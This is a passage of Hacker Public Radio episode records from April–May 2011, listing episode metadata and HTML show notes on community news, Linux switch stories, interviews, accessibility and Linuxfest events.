    • \n
    • 692 :: Quvmoh :: audacity to mess with satan
    • \n
    • 693 :: Mrs. Xoke :: Terminally Stupid ep 3
    • \n
    • 694 :: Full Circle Podcast :: The U-Cubed Event
    • \n
    \n\n

    Apologies To:

    \n
      \n
    • To Dave Yeats for apologising like him
    • \n
    • MrGadgets for messing up the encoding of his first episode
    • \n
    • Dodgy Geezer for the audio intros to the syndicated Thursdays shows
    • \n
    • klaatu for suggesting that he had abandoned HPR.
    • \n
    \n\n

    Thanks to

    \n
      \n
    • The mail list for checking MrGadgets first show>
    • \n
    • droops for clarifying that HPR own the Mic logo
    • \n
    • To the person that assisted in clearing up an issue in the last podcast
    • \n
    • all the podcasts that play our promo
    • \n
    • Dann Washko, Integgroll, and pokey for tracking down episode 28 of shadow magic
    • \n
    • morgellon the lowtek mystic for the photos of the indiana linuxfest
    • \n
    • again pokeys mom for the HPR promo
    • \n
    • pokey for sending out all the stickers out of his own pocket
    • \n
    • code cruncher for paying for the business cards out of her own pocket
    • \n
    • pokey and code cruncher for being amazing - more info next month
    • \n
    \n\n

    Podcasts by Phone

    \n\n\n

    \nEvery listener is strongly encouraged to send us one contribution per year.
    \nIn episode 636 pokey told us that his Mother also listens to the show from time to time and this month she upheld her end of the bargain.
    \n\nThe call in lines
    \n

      \n
    • US: +1-206-312-5749
    • \n
    • UK: +44-203-432-5879
    • \n
    \n
    \nPlease include your name and email address.
    \nDON'T FORGET TO ADD THE # SIGN AT THE END
    \nThanks to Russ Woodman - K5TUX and Arron 'Finux' Finnon for making this possible.\n

    \n\n

    Hobby Public Radio dot org

    \n

    I have put up a test wordpress site on my shared server with the intention of seeing if we can replicate and improve on the functionality of our current site. Please don't link to this site.
    \n

      \n
    • Account Management
    • \n
    • Comments
    • \n
    • Scheduling
    • \n
    \nAnyone with experience of wordpress and wants to help email admin at hpr dot org.\n

    \n\n

    Changes afoot at Binrev

    \n

    \nBinRev is our parent site and HPR is hosted on a binrev server.
    \nStankDawg pays the bills for this service and I was tipped off to a post that he made on 23 March 2011 where he notifies us that a server move is on the cards.
    \nhttps://www.binrev.com/forums/index.php/blog/1/entry-269-here-we-go-again/\n

    \n

    \nI'm trying to arrange an interview with StankDawg to explain to us what BinRev is and what its goals are.\n

    \n\n\n\n

    HPR Stickers

    \n

    \n\n

    \n \n

    \nPhotos from pokey, Ken Fallon, droops, FiftyOneFifty, Curbuntu, smartasstronaut, Bruce_Patterson, Fabian Scherschel (@fabsh), code_cruncher, axis and Mrs. Xoke.\n\n

    \n\n

    Audio Book Club

    \n

    \nOur next audiobook will be Shadowmagic by Lohn Lenahan. It is also available at podiobooks.
    \nThe direct link is:\nhttps://www.podiobooks.com/title/shadowmagic
    \nIf you are missing Episode 28 then you can get it here :\nhttps://hackerpublicradio.org/incoming/media/PB-Shadowmagic-28.mp3\n

    \n\n

    HPR Appeal

    \n

    \nLast month I mentioned that klaatu has not posted a show that month. I was contacted by Karen from the Free as in Freedom oggcast (https://www.faif.us/) to tell me that klaatu had been arrested by the department of immigration while urban camping in some corporate head quarters in Cupertino. She wasn't allowed to say much apart from that the department of homeland security is now involved as well and have confiscated his laptop and are holding him at an undisclosed location.
    \nWe are collecting some money to aid in his release so if you can help please go over and donate at:
    \nhttps://hackerpublicradio.org/freeklaatu\n

    \n\n

    Events

    \n
    \n

    \nNortheast GNU/Linux Fest Details Saturday, April 2, 2011 Worcester MA\n
    \n\"Northeast
    \nMore information.\n

    \n
    \n\"THE
    \n

    THE U-CUBED EVENT... organised by Les and Jon.

    \n\n
      \n
    • When: Sat. April 2nd, 10.00am.
    • \n
    • Where: Mad-Lab, Manchester, UK .
    • \n
    • Cost: Free, tickets via the web-site.
    • \n
    • Info: ucubed.info.
    • \n
    \n
    \n

    \nLinuxfest Northwest 2011 - April 30th-May 1st Bellingham, WA
    \n\"Linuxfest \n
    \nMore information.\n
    \nHPR is going Northeast and then Northwest with tables at both Linuxfests. We would like people to help out at the table, finding equipment etc. \n
    \n \nHow it all started: here is the link to pokey's first mail about the table at NELF:\n https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html \n \n
    \nWe are also running a Competition to design Mini Business Cards for HPR which we would like to have for the fest.
    \nThey submitted entries have all won a book and they are all up on the picasaweb site https://picasaweb.google.com/108536234968997542346/DesignCompetition#\n

    \n\n

    Upcoming Shows

    \n
    \nMrGadgets Path toward Linux\nSeries of Best Of Full Circle \nInterview with Captain Crunch\n


    \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2342,"valid":1}, {"id":696,"date":"2011-04-04","title":"MrGadgets Path toward Linux","duration":823,"summary":"Mr Gadgets talks about how he got to Linux","notes":"

    MrGadgets' final episode on his Path toward Linux

    \n\n

    Other shows in this group are:

    \n
      \n
    1. 2011-04-04, MrGadgets Path toward Linux
    2. \n
    3. 2011-05-15, Journey to Linux
    4. \n
    5. 2011-06-20, My Path to Linux: Knoppix
    6. \n
    7. 2011-07-10, MrGadgets finds Linux
    8. \n
    \n\n

    Links

    \n
    \n","hostid":155,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"6502,Z80,6800,\"Moog Synthesizer\",\"Commodore PET\",\"TRS-80 Color Computer\",KIM-1","version":0,"downloads":2461,"valid":1}, {"id":697,"date":"2011-04-05","title":"Aaron Seigo on accessibility in KDE. An outtake from Frostcast Episode 36.","duration":2045,"summary":"Aaron Seigo, KDE Developer, talks about accessibility in KDE","notes":"

    After his outspoken criticism of accessibility in Ubuntu, Jonathan Nadeau has become the standard bearer for accessibility on the FLOSS desktop. In his interview with the KDE spokesperson Aaron Seigo, Jonathan didn't ask any questions about accessibility. I was expecting to hear what accessibility improvements are in the pipeline for KDE.\n

    \n

    When I contacted Jonathan about it he immediately replied saying that they did talk about accessibility. He didn't add it as the show was running too long and that he might release it as a separate podcast. I floated the idea of releasing it on HPR and he was kind enough to mail me the segment.\n

    \n

    A link to the rest of the interview:
    \nhttps://frostbitemedia.libsyn.com/frostcast-episode-36

    \n

    HPR has now no shows in the queue. HPR is a community feed and without shows it will cease to exist. Many people have stepped up and recorded shows but I know there are many more out there who have it in them to contribute. With that in mind please record a show today. Thank you.

    \n","hostid":161,"series":79,"explicit":1,"license":"CC-BY-NC-SA","tags":"accessibility,kde,interview","version":0,"downloads":2220,"valid":1}, {"id":698,"date":"2011-04-06","title":"How I Found Linux","duration":1357,"summary":"code.cruncher explains where they began in computing, and how they found Linux","notes":"

    \nAfter years of using Unix, Mac, and Windows I finally converted my two Windows computers to Linux for real.
    \nThe journey into Linux started with not being successful at writing a startup script for Linux. A few years later I discovered some Linux love when writing a driver that would make the keyboard LED lights blink the morse code of the letters being typed. A year ago I did a few virtual Linux installations (archLinux, Debian) in VirtualBox to test out some Cloud Computing stuff. \nBefore Christmas 2010, I was considering contributing to the KDE project and installed Kubuntu as well as Ubuntu.
    \nThis year, because I am going to the LinuxFest NorthWest (and I am going to have a table there for HackerPublicRadio) I had to install Linux on my old Windows Laptop. I also converted my Samsung Q1 Ultra Tablet computer from WindowsXP to Ubuntu.
    \nBoth conversions were successful, but a few problems had to be solved for which https://answers.launchpad.net/ubuntu is a great place to go and find or get answers.\n

    \n

    \nBTW: If you're going to https://www.linuxfestnorthwest.org/ please come and say \"hi\" at the HPR table and if you can help out at the table please let me know code.cruncher_hpr at yahoo ca.\n

    ","hostid":162,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"development,\"dual boot\",distrohopping,linux","version":0,"downloads":2491,"valid":1}, {"id":699,"date":"2011-04-07","title":"r0xy interviews Cap'n Crunch on cacti radio","duration":8211,"summary":"An interview with the legendary phone phreak John Thomas Draper, AKA Cap'n Crunch","notes":"

    \nThis interview was held a little over a month ago on cacti radio.
    \nhttps://www.cactiradio.com\n

    \n

    \nJohn Thomas Draper (born 1943), also known as Captain Crunch, Crunch or Crunchman (after Cap'n Crunch, the mascot of a breakfast cereal), is a computer programmer and former phone phreak. He is a legendary figure within the computer programming world.\n

    ","hostid":163,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,phreaking","version":0,"downloads":2620,"valid":1}, {"id":700,"date":"2011-04-08","title":"Tech Tales of April's Past","duration":949,"summary":"Mr Gadgets speaks of Computer History in the context of April","notes":"

    History of Computing

    \n
      \n
    • Don Lancaster https://en.wikipedia.org/wiki/Don_Lancaster\n
        \n
      • TV Typewriter Cookbook
      • \n
      • Electronic kit to turn a TV and keyboard into a teletype replacement
      • \n
      • Postscript as a language\n
          \n
        • Apple LaserWriter had a Postscript interpreter
        • \n
        • Usable as a computational engine
        • \n
      • \n
      • Contributions to a number of magazines
      • \n
      • April Fools joke: Apple II extension card using RS232 to make a small matter transporter
      • \n
    • \n
    • Bart Busschots (NosillaCast podcast and others)\n
        \n
      • Why does PDF run code and open security holes?
      • \n
    • \n
    \n

    Notes added 2019-07-05

    \n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Don Lancaster,Postscript,PDF,LaserWriter,Apple II","version":0,"downloads":2452,"valid":1}, {"id":701,"date":"2011-04-11","title":"Backing Up Your Data Introduction","duration":1170,"summary":"Considerations to take into account when planning your backup strategy","notes":"

    \nIn this HPR episode I'm going to talk to you about the ideas, concepts and things to thing about when you want to start backing up your data. This is part 1 of a series of shows.

    ","hostid":164,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"backup,howto","version":0,"downloads":2417,"valid":1}, {"id":702,"date":"2011-04-12","title":"50th anniversary of human space flight","duration":3433,"summary":"A celebration of the 50th anniversary of manned human space flight","notes":"

    \n50 years ago today a historic event took place and here on Hacker Public Radio we take time out to celebrate the occaision with recordings of the Radio communications between Yuri Gagarin, Sergei Korolev and Ground Control during launch. Then we listen to a 45 rpm record at the Soviet Exhibition in London in 1961.\n

    \n

    \nAfter this we listen to the The flight of Vostok 1 as described on Wikipedia https://en.wikipedia.org/wiki/Vostok_1 and play a promo for the film \"first orbit\" https://www.firstorbit.org/watch-the-film been released as part of Yuris Night https://www.yurisnight.net/ a world wide celebration of the event.\n

    \n

    \nTo close with the biography of Yuri Gagarin from https://en.wikipedia.org/wiki/Yuri_Gagarin.\n

    \n\n

    Radio communications between Yuri Gagarin, Sergei Korolev and Ground Control

    \n\n\n

    Yuri Gagarin in Space (English Commentary) from a 45 rpm record at the Soviet Exhibition in London in 1961

    \n\n\n

    First Orbit

    \n\n\n

    Star Trek Theme Faith of The Heart Remake: Sputnik & yuri gagarin

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"space,history","version":0,"downloads":2328,"valid":1}, {"id":703,"date":"2011-04-13","title":"My Computer History","duration":292,"summary":"My Computer History","notes":"","hostid":165,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"computing history,vintage hardware,nelf","version":0,"downloads":2372,"valid":1}, {"id":704,"date":"2011-04-14","title":"Disaster Protocol: Annoyed!","duration":3012,"summary":"Episode 20 of Disaster Protocol: A NSFW podcast about information security news","notes":"

    \nSyndicated Thursday presents \n

    \n

    \nDisaster Protocol: Annoyed!\n

    \n

    \nOrigionally aired on Sun, 27 Mar 2011 23:58:54 +0000\n

    \n

    \nNo alcohol, what more can we say? Enjoy the bile and vitriol.\n

    \n

    \nAbout Disaster Protocol \nThe Disaster Protocol Podcast is an IT Security Podcast which aims to educate the listener about current news and stories regarding the IT security sector. Originally name S.H.I.T.cast (Student Hacker Information Technology podcast), it was aimed at a lower level of audience and was more about having fun then getting anything technical across.\nThere are two hosts to the podcast, Matthew Hughes and Thomas Mackenzie.\nMatthew Hughes is an Ethical Hacking student at a British University and is the leader developer of SecurityBSD.co.uk. He is known on the podcast for his random facts and amazing shoot downs towards Tom.\nThomas Mackenzie is a student studying the same course at the same University as Matt. He is the co-developer of upsploit.com and works part-time from randomstorm.com. \n

    ","hostid":158,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"news,security,\"syndicated thursday\"","version":0,"downloads":2439,"valid":1}, {"id":705,"date":"2011-04-15","title":"My first linux box","duration":308,"summary":"A new host's first show - about Linux experiences","notes":"

    \nThis is my first podcast; it begins with my first linux box, why I still run linux. Followed by a quick review of arch linux, the distro I am currently running. Lastly a quick shout out for the NWLF.\n

    \n","hostid":167,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"RedHat,\"Arch Linux\",\"Linux Fest North West\"","version":0,"downloads":2409,"valid":1}, {"id":706,"date":"2011-04-18","title":"What to do when confronted with a blind person","duration":619,"summary":"Some advice for sighted people when encountering a blind person","notes":"
      \n
    • If you are in the way of a blind person say \"hi\" so they know you're there.
    • \n
    • If a blind person is looking for a seat, tell them where there is a vacant space.
    • \n
    • Ask if they need help (warning not all people might appreciate this)
    • \n
    • \"See you later\", \"Did you watch this movie\" doesn't bother Jonathan but some people may be bothered.
    • \n
    • When leading a blind person (across the street), walk normally and let the blind person hang on to your elbow.
    • \n
    \n","hostid":161,"series":79,"explicit":1,"license":"CC-BY-NC-SA","tags":"accessibility","version":0,"downloads":2375,"valid":1}, {"id":707,"date":"2011-04-19","title":"Ubuntu on trial","duration":2254,"summary":"Speculation and critique of Ubuntu, and the desktop paradigm as a whole","notes":"

    \nToday I try to argue that Ubuntu is no longer necessary, Ubuntu users should explore other Linux paths (probably Debian).\n

    ","hostid":141,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"ubuntu,linux,desktop,\"desktop environment\"","version":0,"downloads":2629,"valid":1}, {"id":708,"date":"2011-04-20","title":"Enterprise resource planning","duration":631,"summary":"A view of Linux in the Enterprise","notes":"

    \nJWP talks about Linux in the Enterprise Space especially in relation to ERP (Enterprise Resource Planning) software.\n

    \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"SAP,\"Enterprise Resource Planning\",ERP,\"Oracle Enterprise Linux\",Novell","version":0,"downloads":2257,"valid":1}, {"id":709,"date":"2011-04-21","title":"The Language Frontier Episode 3","duration":1456,"summary":"Skirlet's ep-3 in The Language Frontier miniseries, about the inefficiency of language","notes":"

    The third episode in Skirlet's third episode in The Language Frontier miniseries. This one, about the inefficiency of language.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    ","hostid":88,"series":48,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,inefficiency,translation,media,medicine,science,literature","version":0,"downloads":2249,"valid":1}, {"id":710,"date":"2011-04-22","title":"spics on tech","duration":2234,"summary":"The Spics on Tech podcast inroduce themselves, and explain how they got into computing","notes":"

    \ncontributing content to hpr
    \nintroductions\n

    \n\n\nreminiscing\nc64 and old junk from flea markets\nexcuses\n\nhacker practice\ncultural studies\n\nensenada hackerspace\n","hostid":168,"series":58,"explicit":1,"license":"CC-BY-NC-SA","tags":"computing,linux","version":0,"downloads":2463,"valid":1}, {"id":711,"date":"2011-04-25","title":"Klaatu and Verbal chat about web2py","duration":483,"summary":"Klaatu interviews Verbal about the basics of the web2py framework, and why someone would choose it","notes":"

    At the first Indiana Linux Fest, Klaatu and Verbal sit down to chat about web2py.

    \n\n

    Free codec lover? Get your ogg here.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"web2py,python,interview,web framework","version":0,"downloads":2891,"valid":1}, {"id":712,"date":"2011-04-25","title":"Linux Jazz - Recording my Audio","duration":770,"summary":"Bariman discusses recording techniques and equipment.","notes":"

    \nMy thanks to Pokey and ClaudioM for their kind comments on my first show. \n

    \n

    \nRecording . . .
    \nHow I record the show and use Linux in support of my jazz activities and work-flow.
    \nSet up and Gear:
    \nMain microphone - Behringer USB Condenser Microphone C-1U with boom mike stand and 'pop' screen.
    \nSennheiser e815S with a Tascam US-100 Audio Interface or Zoom H4n Recorder.
    \nAudio Capture:
    \nBehringer USB mike straight into Audacity on an EeePC.
    \n(Klaatu's config file is at https://www.thebadapples.info/eastereggs/audacity.cfg.zip)\n

    \n

    \nProcessing . . .
    \nLaptops Asus EeePC 1005HA and a Sony Vaio VGN-BX297.
    \nAll recordings saved as WAV or FLAC files initially.
    \nSpoken part of the show is scripted and each segment recorded separately.
    \nAssembly of segments and audio in Audacity, with adjustments, fades and overlaps, etc.
    \nExported and mixed down into composite, sterio, MP3 file.
    \n

    \n

    \nMusic Production . . .
    \nMusic writing, arranging and composing: Band-In-A-Box 2009 and Sibelius 5 as there is no suitable Linux equivalents.
    \nUsing Virtualbox with Windows XP.
    \nBand-In-A-Box use of sampled sounds for the backing voices.
    \n

    \n

    \nUse of Band-In-A-Box and Sibelius. I just wish there was the equivalent software the Linux to do this kind of thing I would move there 'in a flash' if I could find some.\n

    \n

    \nOther Activities . . .
    \nProblem with keeping files up to date when using multiple machines.
    \nUse of 'Dropbox' is my solution.
    \nFolders moved from 'Dropbox' to large 1TB external drive when projects are complete.
    \n

    \n

    \nNext time . . .
    \nLinux software in the production of websites and other uses.
    \n

    \n

    \nMy website and Blog . . .\nAt 'www.tonydenton.com' and I am on Twitter as 'tonydenton.'
    \nMy Identica name is 'Bariman' and I am on IRC, also as 'Bariman.'
    \n

    ","hostid":150,"series":73,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,music,jazz,recording","version":0,"downloads":2421,"valid":1}, {"id":713,"date":"2011-04-26","title":"NELF Interview With Matt Lee and Donald Robertson","duration":2240,"summary":"Interview with Matt Lee and Donald Robertson of the Free Software Foundation","notes":"

    \nPlease consider contributing to the Free Software Foundation.\nhttps://www.fsf.org/\n

    \n

    \nPlease forgive the audio quality of this recording. Due to the acoustics of the room, and my crappy mic, I had to \"massage\" the recording an awful lot to be able to hear all three people at a reasonable level without overwhelming you with background noise. I did my best.\n

    \n

    \nI want to thank Donald and Matt for making it such a great interview. They were firendly, respectful, and kind. I had a great time with them durring the interview, and at the afterparty. They represent the FSF well. \n

    ","hostid":128,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,nelf","version":0,"downloads":2234,"valid":1}, {"id":714,"date":"2011-04-27","title":"Interview with Amber Graner","duration":1371,"summary":"An interview with Amber Graner about women in tech and open source, and Amber's work in Ubuntu","notes":"

    The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n\n

    Guests

    \n
      \n\t
    • Amber Graner
    • \n
    \nAmber talks about:\n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 22mins 51seconds

    ","hostid":160,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Full Circle Podcast","version":0,"downloads":2227,"valid":1}, {"id":715,"date":"2011-04-28","title":"Interview with StankDawg","duration":3974,"summary":"StankDawg interviewed by Ken Fallon","notes":"

    \nKen talks to the founder of BinRev and the patron of Hacker Public Radio\n

    ","hostid":30,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,hpr,history,hosting","version":0,"downloads":2650,"valid":1}, {"id":716,"date":"2011-05-02","title":"Behind the Scenes at HPR. A community update for the month 2011-04","duration":2365,"summary":"HPR Community News for April 2011","notes":"

    Welcome to our new admins Code Cruncher and pokey. Also welcome to our new hosts: HPR_AudioBookClub, Robin Catling, Jonathan Nadeau, code.cruncher, Brad Carter, scriptmunkee, Bob Evans, Disaster Protocol, imahuph, and sikilpaake & badbit. We welcome new hosts.

    Show Review

    • 695 :: Ken Fallon :: Behind the Scenes at HPR.
    • 696 :: MrGadgets :: MrGadgets Path toward Linux
    • 697 :: Jonathan Nadeau :: Aaron Seigo talks about accessibility in KDE.
    • 698 :: code.cruncher :: How I Found Linux
    • 699 :: Brad Carter :: r0xy interviews Cap'n Crunch on cacti radio
    • 700 :: MrGadgets :: Tech Tales of April's Past
    • 701 :: scriptmunkee :: Backing Up Your Data Introduction
    • 702 :: Ken Fallon :: 50th anniversary of human space flight
    • 703 :: Bob Evans :: My Computer History
    • 704 :: Disaster Protocol :: Disaster Protocol: Annoyed!
    • 705 :: imahuph :: My first linux box
    • 706 :: Jonathan Nadeau :: What to do when confronted with a blind person
    • 707 :: Dismal Science :: Ubuntu on trial
    • 708 :: JWP :: Enterprise resource planning
    • 709 :: Skirlet :: The Language Frontier Episode 3
    • 710 :: sikilpaake & badbit :: spics on tech
    • 711 :: klaatu :: Klaatu and Verbal chat about web2py
    • 712 :: Bariman :: Linux Jazz - Recording my Audio
    • 713 :: pokey :: NELF Interview With Matt Lee and Donald Robertson
    • 714 :: fullcirclepodcast :: Amber Graner from Ubuntu Women Project
    • 715 :: Ken Fallon :: Interview With StankDawg
    \n\n\n

    Hobby Public Radio - Wordpress
    \nhttps://www.hobbypublicradio.org \nRead the posts and give Feedback
    \n
    \nShould we re-license under cc-by-sa ?
    \nDropping the non-commercial
    \n
    \nInterview with stank
    \nThe server has moved
    \nKen used skype call recorder to record the call
    \n
    \nWho got fooled ?
    \nThanks to klaatu, Bradley M. Kuhn and Karen Sandler
    \n
    \n We updated the RSS feed to use [cdata]
    \n
    \nCongratulations to Linux Outlaws on reaching 200
    \nCounting TWAtech we have passed 1015
    \n
    \nOggCamp 11 - we'll be there
    \n\n
    \n HPR Music is ours - thanks slick0
    \n
    \n What is a syndicated show ? \n
    \nThe language frontier is a special case
    \n
    \n HPR Design competition
    \n all get a book Will be mailed out in a week or two
    \n
    \n Will HPR be wanting a booth at SELF this year?

    HPR Stickers

    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2698,"valid":1}, {"id":717,"date":"2011-05-03","title":"My Switch from Windows to Linux","duration":1515,"summary":"Slurry's journey towards Linux, through the US Military and Windows Vista","notes":"First exposure to Linux on ancient laptop
    \nNext several years into adulthood with Windows
    \nNever ran with crowd / always techie
    \nOpinions formed about Linux
    \nIn spite of fondness, abandonded Linux
    \nSeveral years later 1 yr from retiring
    \nDooms day - pop up virus explorer web page
    \nAll this arround the time Vista
    \nStuck with XP through Vista debachle
    \nLearned some things about Windows7 proverbial straw
    \nDevising a plan
    \nUbunto on desktop and on wifes laptop
    \nOnly remnants of windows on dual boot desktop
    \nPurchased my own Vista laptop / never booted in Vista
    \nLearned alot using Ubuntu
    \nThats my switch to linux story
    \nMore productive, knowledgeable, satisfied user under Linux","hostid":169,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,distrohopping","version":0,"downloads":2778,"valid":1}, {"id":718,"date":"2011-05-04","title":"How I got into Linux","duration":465,"summary":"Brotherred explains how his journey to Linux started with a local Sports radio show","notes":"In his first podcast Brotherred talks about how he got into GNU/Linux after seeing a website powered by Linux in approx. 2001.
    \nBought RedHat 9 with PC magazine.
    \nNot all Linux experience was rosy.
    \nStill loves GNU/Linux for playing games, download torrents, and audio/video editing.
    ","hostid":171,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux","version":0,"downloads":2264,"valid":1}, {"id":719,"date":"2011-05-05","title":"The Language Frontier Episode 4","duration":1082,"summary":"What language reveals about you; linguistics; dead languages","notes":"

    Skirlet discusses what language -- the way you speak and write -- suggests about you as a person. She provides a basic intro to linguistics, and reviews some dead languages and why they died.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    ","hostid":88,"series":48,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,neologism,accent,spelling,linguistics,dialect","version":0,"downloads":2399,"valid":1}, {"id":720,"date":"2011-05-06","title":"CLI Magic","duration":747,"summary":"Klaatu interviews deltaRay, creator of CLI Magic and suso.com","notes":"

    Klaatu talks to Mark, aka deltaRay, from CLI Magic and suso.com about the command line, the Indiana Linux Fest, and more!

    \n\n

    Git yer ogg version from the GNU World Order.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"interviews,bash,command line,sysadmin,system administration","version":0,"downloads":2665,"valid":1}, {"id":721,"date":"2011-05-08","title":"THEATER OF THE IMAGINATION -- PART 03","duration":1078,"summary":"lostnbronx describes Audio Drama and how to make your own","notes":"

    \n

    by lostnbronx

    \n

    -----

    \n

    SITES MENTIONED:

    \n

    ccmixter.org

    \n

    Jamendo\n

    Magnatune

    \n

    Podsafe Audio

    \n

    A good Creative Commons list of music sites

    \n

    Freesound.org

    \n

    -----

    \n

    MUSIC:

    \n

    Pitx

    \n

    Pitx_-_A_year_ago.mp3

    \n

    Creative Commons Sampling Plus (1.0)

    \n

    -----

    \n

    MY OWN SITE

    \n

    lostnbronx

    ","hostid":107,"series":52,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"audio drama\",script","version":0,"downloads":2337,"valid":1}, {"id":722,"date":"2011-05-09","title":"How I Upgraded My PC - Motherboard","duration":1032,"summary":"Claudio recaps episode 1 and covers the what, why, and how of his motherboard purchase.","notes":"

    \nIn this episode, Claudio recaps episode 1 and covers the what, why, and how of his motherboard purchase.\n

    \n

    \nAnandTech: https://www.anandtech.com/show/4025/holiday-2010-system-builders-guide\n

    \n

    \nAnandTech: https://www.anandtech.com/show/3877/asrock-890fx-deluxe-full-review-and-an-investigation-of-thuban-performance-scaling\n

    \n

    \nPhoronix: https://www.phoronix.com/scan.php?page=article&item=asrock_880_mobos&num=1\n

    \n

    \nHardware Secrets: https://www.hardwaresecrets.com/article/ASRock-890FX-Deluxe4-Motherboard/1094/1\n

    \n\t","hostid":152,"series":57,"explicit":1,"license":"CC-BY-NC-SA","tags":"computers,pc,hardware,pchardware","version":0,"downloads":2465,"valid":1}, {"id":723,"date":"2011-05-10","title":"How to be a safe computerist","duration":2292,"summary":"Preparations and precautions for keeping your computing safe while urban camping","notes":"

    Klaatu brings his Urban Camping series to a close with a discussion of how to be a safe computerist whilst urban camping. He covers ssh, X Forwarding, tor, tcpdump, and general computer common sense.

    \n\n

    The ogg version is available from GNU World Order.

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"security,\"urban camping\"","version":0,"downloads":2703,"valid":1}, {"id":724,"date":"2011-05-11","title":"Full Circle Podcast: Ubuntu Manual Project","duration":1386,"summary":"Interview with Benjamin Humphrey, team lead of the Ubuntu Manual Project","notes":"

    \nFull Circle Podcast:
    \nInterview: Benjamin Humphrey, Ubuntu Manual Project\n

    \n

    The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n\n

    Guests

    \n
      \n\t
    • Benjamin Humphrey, Editor, Ubuntu Manual Project
    • \n
    \n

    Site: https://ubuntu-manual.org
    \nLaunchpad Project home: https://launchpad.net/~ubuntu-manual
    \nBenjamin’s blog: https://humphreybc.wordpress.com/

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 22mins 51seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Full Circle Podcast","version":0,"downloads":2138,"valid":1}, {"id":725,"date":"2011-05-12","title":"NELF_Review","duration":2172,"summary":"Pokey reviews the 2011 Northeast Linuxfest","notes":"

    \nNELF 2011 was a blast. Here's my take on it.\n

    \n

    \nThanks to everyone who made it so much fun.\n

    \n

    \nThanks to sponsors: Redhat Enterprise Linux, and Frostbyte systems.\n

    \n

    \nThanks to Johnathan and Mrs. Nadeau for making it all happen.\n

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"conference,nelf,review","version":0,"downloads":2320,"valid":1}, {"id":726,"date":"2011-05-15","title":"Journey to Linux","duration":1177,"summary":"Continuing Mr Gadgets' journey to Linux","notes":"

    Mr Gadgets continues his journey from Micro Computer to Linux stopping by O/S 2 Warp and Windows 98

    \n\n

    Other shows in this group are:

    \n
      \n
    1. 2011-04-04, MrGadgets Path toward Linux
    2. \n
    3. 2011-05-15, Journey to Linux
    4. \n
    5. 2011-06-20, My Path to Linux: Knoppix
    6. \n
    7. 2011-07-10, MrGadgets finds Linux
    8. \n
    \n\n","hostid":155,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,O/S 2 Warp","version":0,"downloads":2411,"valid":1}, {"id":727,"date":"2011-05-16","title":"HOWTO root and mod an Andr0id phone.","duration":2073,"summary":"A description of how to get the control you should already have over an electronic device you own","notes":"

    Klaatu's HOWTO root and mod an Andr0id phone.

    \n\n

    Links:

    \n
    \n\n

    This episode is also available in ogg vorbis.

    \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"Motorola cliq\",cyanogenmod,\"root access\"","version":0,"downloads":2452,"valid":1}, {"id":728,"date":"2011-05-17","title":"Sex, Race and Open Source","duration":1892,"summary":"Two HPR hosts, Dismal Science and Sunzofman1, discuss equality in computing culture","notes":"

    Hosts:

    \n\n\n

    Today we discuss the role of race and sex within the culture of open source and computing in general.

    \nTopics include the digital divide, wage gaps among the population.
    \nAnd a tip on how to find an open source geek to date!
    \n

    Contact me @ dismal.science.hpr AT gmail DOT com

    \n\n

    Links

    \n\n","hostid":170,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"privilege,minorities,\"wage discrimination\"","version":0,"downloads":2503,"valid":1}, {"id":729,"date":"2011-05-18","title":"Syndicated Thursday: FSP Sam smith, Opentech Conference 2011","duration":1190,"summary":"Full Circle interviews Sam Smith, an organizer of Opentech Conference 2011","notes":"

    Hello world and welcome to our on Hacker Public Radio. This episode consists of our interview with Sam Smith, one of the organisers of the Opentech Conference in London this May. My co-host is Les Pounder

    \n

    OpenTech 2011

    \n

    Saturday 21st May 2011. (10:45 start)

    \n

    Union Building, University of London.

    \n

    Cost: £5 on the door.

    \n

    Registration via the event website

    \n\n

